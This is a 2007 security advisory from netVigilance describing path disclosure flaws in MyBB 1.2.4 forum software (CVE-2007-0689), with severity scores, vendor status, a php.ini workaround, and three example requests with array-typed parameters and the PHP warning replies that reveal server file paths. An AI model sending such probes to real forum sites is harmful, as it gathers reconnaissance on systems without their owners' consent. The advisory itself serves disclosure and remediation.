<<< Date Index >>>     <<< Thread Index >>>

MyBB version 1.2.4 Multiple Path Disclosure Vulnerabilities



        netVigilance Security Advisory #17

MyBB version 1.2.4 Multiple Path Disclosure Vulnerabilities 

Description:
MyBB is a powerful, efficient and free forum package developed in PHP and 
MySQL. Full control over your discussion system is presented right at the tip 
of your fingers, from multiple styles and themes to the ultimate customisation 
of your forums using the template system.
External References: 
Mitre CVE: CVE-2007-0689
NVD NIST: CVE-2007-0689
OSVDB: 34155

Summary: 
MyBB is a powerful, efficient and free forum package developed in PHP and 
MySQL.  
Multiple pass disclosure vulnerabilities in the product allow attackers to 
gather the true path of the server-side script. 

Advisory URL: 
http://www.netvigilance.com/advisory0017

Release Date:
05/13/2007
 
Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.33
 
Target Distribution on Internet: Medium
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.


SecureScout Testcase ID:
 

Vulnerable Systems:
MyBB version 1.2.4

Vulnerability Type:
Program flaw - The captcha.php, member.php and event.php scripts has flaws 
which lead to a Warning or even Fatal Errors.

Vendor:
MyBB

Vendor Status: 
Contact with the Vendor was established and draft of the security advisory was 
provided on 11 April  2007, the vendor promised to fix the issue but stopped 
responding to our emails on 11 April  2007. There is no official fix at the 
release of this Security Advisory 
Workaround:
Disable warning messages: modify in the php.ini file following line: 
display_errors = Off. Or modify .htaccess file (this will work only for the 
apache servers). 
Example: 
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[mybb-directory]/member.php?action[]=register
REPLY:
<br />
<b>Warning</b>:  Illegal offset type in unset in 
<b>[SERVER_PATH_TO_FILE][mybb-directory]\global.php</b> on line <b>41</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by 
(output started at [SERVER_PATH_TO_FILE][mybb-directory]\global.php:41) in 
<b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\functions.php</b> on line 
<b>1121</b><br />
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[mybb-directory]/captcha.php?imagehash[]=123
REPLY:
<br />
<b>Warning</b>:  mysql_real_escape_string() expects parameter 1 to be string, 
array given in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php</b> on 
line <b>632</b><br />
<br />
<b>Warning</b>:  Division by zero in 
<b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>210</b><br 
/>
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by 
(output started at [SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php:632) 
in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line 
<b>114</b><br />
?PNG

Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[mybb-directory]/inc/datahandlers/event.php
REPLY:
<br />
<b>Fatal error</b>:  Class 'DataHandler' not found in 
<b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\datahandlers\event.php</b> on line 
<b>16</b><br />


Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com